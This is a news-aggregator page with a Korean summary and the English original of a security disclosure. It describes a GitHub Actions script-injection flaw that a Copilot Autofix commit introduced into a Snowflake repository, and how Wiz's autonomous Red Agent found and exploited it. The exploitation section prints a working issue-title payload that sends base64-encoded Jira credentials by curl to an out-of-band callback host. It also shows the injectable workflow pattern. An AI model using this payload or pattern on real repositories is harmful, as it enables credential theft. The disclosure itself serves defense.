메뉴
HN
Hacker News • 39일 전

AI가 생성한 깃허브 코드로 스노우플레이크 지라 침해 가능했던 사건

IMP
8/10
핵심 요약

Wiz Research의 자율 AI 보안 도구 'Red Agent'가 스노우플레이크 공개 저장소에서 치명적인 GitHub Actions 워크플로 인젝션 취약점을 발견했습니다. 흥미롭게도 이 취약점은 불과 5일 전 Copilot Autofix(AI)가 생성한 커밋으로 도입된 것으로, 기존의 안전한 입력 처리 패턴을 제거하고 셸 스크립트에 직접 문자열을 삽입하는 방식이었습니다. 이 사건은 AI 코딩 어시스턴트가 취약점을 만들어내고, 자동화된 AI 에이전트가 이를 신속히 발견하는 새로운 소프트웨어 개발 현실을 보여줍니다.

번역된 본문

스노우플레이크의 HackerOne 취약점 제보 프로그램을 통한 보안 연구의 일환으로, Wiz Research의 자율 AI 보안 연구 도구 'Red Agent'가 스노우플레이크의 공개 저장소 하나에서 치명적인 GitHub Actions 워크플로 취약점을 식별했습니다. 이 사건은 소프트웨어 개발에서 빠르게 현실로 다가오는 상황을 부각합니다. 즉, AI 코딩 어시스턴트가 실수로 워크플로 인젝션 취약점을 만들어낼 수 있고, 자동화된 AI 에이전트가 실제 환경에서 이를 신속하게 발견할 수 있다는 점입니다. Wiz가 2026년 6월 23일 책임 있는 제보를 하자 스노우플레이크는 당일 취약점을 수정하고, 영향을 받은 자격 증명(credential)을 교체했으며, 상세한 감사 로그를 통해 노출 기간 동안 Wiz가 유일한 접근자였음을 확인했습니다. Wiz는 개념 증명(PoC) 테스트 중 접근한 모든 데이터를 안전하게 삭제했음을 확인했습니다.

경영진 요약 Wiz Red Agent는 snowflakedb/snowflake-connector-net 저장소에서 스크립트 인젝션 취약점을 발견했습니다. 이 문제는 인증되지 않은 사용자가 특수하게 조작된 제목의 GitHub 이슈를 열기만 하면 GitHub Actions 러너 내에서 임의의 명령을 실행할 수 있게 해주었습니다. 결정적으로, 이 취약점은 2026년 6월 18일—발견 5일 전—AI 기반 Copilot Autofix가 공동 작성한 커밋(PR #1218)을 통해 도입되었습니다. AI 어시스턴트는 저장소의 기존 입력 정제(sanitized input) 패턴을 제거하고, 셸 스크립트에서 직접 문자열 확장으로 대체했습니다.

노출 상세 발견 과정: Wiz Red Agent의 CI/CD 기능이 스노우플레이크의 GitHub 조직을 스캔하다가 snowflakedb/snowflake-connector-net의 jira_issue.yml 워크플로가 run: 블록의 신뢰할 수 없는 입력을 통한 스크립트 인젝션에 취약하다고 플래그를 지정했습니다.

AI 어시스턴트(GitHub Copilot) 변경 사항:

  • env:
  • ISSUE_TITLE: ${{ github.event.issue.title }}
  • run: jq -n --arg title "$ISSUE_TITLE" ...
  • run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

이 워크플로는 issues: opened 이벤트로 트리거되었는데, 이는 모든 GitHub 사용자가 이슈를 열기만 하면 실행할 수 있다는 뜻이며, 공격자가 제어하는 이슈 제목이 셸 스크립트에 직접 삽입되었습니다: run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\"/g' | sed "s/'/\'/g")

sed 이스케이프는 GitHub의 템플릿 확장 이후에 실행되므로, 제목에 작은따옴표가 포함되면 echo '...' 문자열에서 벗어나 임의 명령 실행이 가능합니다. 이 인젝션 가능한 패턴은 불과 며칠 전인 2026년 6월 18일, 커밋 4a1b8ce(PR #1218: "SNOW-2069227: jira 워크플로 업데이트")—AI 기반 Copilot Autofix가 공동 작성—로 도입되었습니다. 이 커밋은 이슈 제목을 env: 변수로 전달하고 jq로 JSON 페이로드를 생성하던 저장소의 기존 안전한 패턴을 제거하고, 위와 같은 직접 ${{ github.event.issue.title }} 삽입 방식을 사용했습니다. 다시 말해, AI '자동 수정' 커밋이 바로 그 인젝션 벡터를 만들어낸 것입니다.

열려 있는 '보안 게이트' 이 워크플로에는 보호적으로 보이는 if: 조건이 있었습니다: if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]') 그러나 issues 이벤트에서 github.event.pull_request는 항상 null입니다. 따라서 이 조건은 (null != 'whitesource-for-github-com[bot]')으로 축소되며, 이는 항상 참이므로 모든 GitHub 사용자가 이 게이트를 통과합니다.

악용 과정 우리는 템플릿 확장 후 echo 문자열에서 벗어나 대역 외(out-of-band) 콜백을 통해 Jira 자격 증명을 유출하는 이슈 제목을 작성했습니다. 주목할 점은, Red Agent의 CI/CD 기능이 처음 표준 주석 문자(#)로 유출을 시도했을 때, 주석이 TITLE=$(...)의 닫는 괄호를 삼켜 버려서 러너가 bash 구문 오류를 반환했다는 것입니다. Red Agent는 멈추거나 실패하는 대신: 구문 실행 오류를 자율적으로 분석하고, '; echo '를 사용해 셸 블록을 올바르게 닫도록 페이로드를 조정했으며, 대역 외 콜백을 성공적으로 수신했습니다: ' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0&e=printf %s $JIRA_USER_EMAIL

원문 보기
원문 보기 (영어)
As part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories. This incident highlights a rapidly emerging reality in software development: how AI coding assistants can inadvertently introduce workflow injection vulnerabilities, and how automated AI agents can rapidly surface them in the wild. Upon responsible disclosure on June 23, 2026 by Wiz, Snowflake remediated the vulnerability on the same day, rotated the affected credential, and verified via detailed audit logs that Wiz was the sole actor during the exposure window. Wiz confirmed that all data accessed during proof-of-concept testing was securely deleted. Executive Summary Wiz Red Agent identified a script injection vulnerability in snowflakedb/snowflake-connector-net . The issue allowed an unauthenticated user to execute arbitrary commands within a GitHub Actions runner by opening a GitHub issue with a specially crafted title. Crucially, the vulnerability was introduced on June 18, 2026—just five days prior to discovery—via a commit co-authored by Copilot Autofix powered by AI ( PR #1218 ). The AI assistant removed the repository's existing sanitized input pattern and replaced it with direct string expansion in a shell script. Exposure Walk-Through Discovery Wiz Red Agent's CI/CD capability scanned Snowflake's GitHub organization and flagged the jira_issue.yml Workflow in snowflakedb/snowflake-connector-net as vulnerable to script injection via untrusted input in run: blocks. AI Assistant (Github Copilot) Change - env : - ISSUE_TITLE : ${{ github.event.issue.title }} - run : jq -n --arg title "$ISSUE_TITLE" ... + run : TITLE=$(echo '${{ github.event.issue.title }}' | sed ...) The workflow triggered on issues: opened - meaning any GitHub user could fire it by opening an issue - and interpolated the attacker-controlled issue title directly into a shell script: run : | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g") The sed escaping runs after GitHub's template expansion, a single quote in the title breaks out of echo '...' and allows arbitrary command execution. The injectable pattern was introduced just days earlier, on June 18, 2026, commit 4a1b8ce ( PR #1218: “SNOW-2069227: Update jira workflows” ) - co-authored by Copilot Autofix powered by AI . It removed the repository’s existing safe pattern, which passed the issue title through an env: variable and built the JSON payload with jq . Instead it used the direct ${{ github.event.issue.title }} interpolation shown above. In other words, an AI “autofix” commit created the very injection vector. The Open “Security Gate” The workflow had an if: condition that appeared protective: if : (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]') However, on issues events, github.event.pull_request is always null . So the condition reduces to ( null != 'whitesource-for-github-com[bot]' ). This is always true, and every GitHub user passes the gate. Exploitation We crafted an issue title that, after template expansion, breaks out of the echo string and exfiltrates the Jira credentials via an out-of-band callback: Crucially, when Red Agent’s cicd capability initially attempted exfiltration using a standard comment character ( # ), the runner returned a bash syntax error because the comment consumed the closing parenthetical of TITLE=$(...) . Rather than stopping or failing, Red Agent: autonomously analyzed the syntax execution error adjusted its payload to use ; echo ' to properly close the shell block, and successfully received the out-of-band callback ' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo ' Within seconds, our listener received the callback from a GitHub Actions runner (Azure IP 20.106.182.197 ) containing base64-encoded credentials. Note: Our first attempt used # to comment out the rest of the line, which caused an unexpected EOF bash error because it also ate the closing ) of TITLE=$(...) . The fix was using ; echo ' to properly close the shell syntax. The exfiltrated token authenticated as qa@snowflake.net to snowflakecomputing.atlassian.net , granting read access across Snowflake's engineering, security compliance, and bug bounty tracking projects. Remediation & Forensics Same-Day Patching: Snowflake patched the workflow on June 23, 2026 ( 1dc7766 , PR #1402), fully restoring the safe env: variable and jq --arg parsing pattern. Credential Revocation: The JIRA token in question was revoked and rotated. Forensic Verification: Comprehensive audit log analysis confirmed that no external third parties accessed the endpoint during the 5-day exposure window. All anomalous queries were strictly matched to Wiz's testing IPs. Key Takeaways AI Code Generation Demands Rigorous Oversight: AI coding tools predict code based on probabilistic patterns, which can inadvertently reintroduce deprecated or insecure shell patterns. AI-generated PRs must undergo the same static analysis and security scrutiny as human code. Collapsing Discovery Windows: The vulnerability was live for only five days before an automated agent discovered and validated it. Security operations must adapt to a landscape where automated discovery occurs in hours, requiring rapid patch cycles and short-lived credentials. Preventing AI Security Regressions: Automated AI assistants often lack historical context regarding why specific code patterns were chosen. In this incident, an automated PR removed a safe env: + jq parsing pattern that had been explicitly implemented to prevent shell injection. Security teams must implement Guardrails that block AI agents from replacing structured data parsers with direct string interpolation. Disclosure Timeline June 18, 2026 - Script-injection pattern introduced in jira_issue.yml by commit 4a1b8ce (PR #1218), co-authored by Copilot Autofix powered by AI June 23, 2026 - Wiz identified, exploited, and reported vulnerability to Snowflake via HackerOne (report #3819931) June 23, 2026 - Slack notification sent to Snowflake security team June 23, 2026 (same day) - Snowflake patches the vulnerable script-injection workflow ( commit 1dc7766 , PR #1402 ), restoring the safe env: + jq --arg pattern. June 24, 2026 - Jira token rotated July 25, 2026 - Public disclosure deadline (30 days after the June 25 resolution, per Snowflake’s disclosure policy) Snowflake’s Response Snowflake appreciates Wiz's responsible reporting of and collaboration around these findings through our vulnerability disclosure and bug bounty program, HackerOne. Wiz Research reported a security vulnerability in one of Snowflake's public GitHub repositories. The disclosure was received on June 23, 2026, and it was immediately investigated and remediated, and our investigation found no evidence of unauthorized access. Protecting our systems remains a top priority, and we remain committed to continually strengthening our software development and security practices. We are working together with Wiz to share these learnings with the broader industry to encourage widespread adoption of these security best practices. Tags # Research # AI # Wiz Agents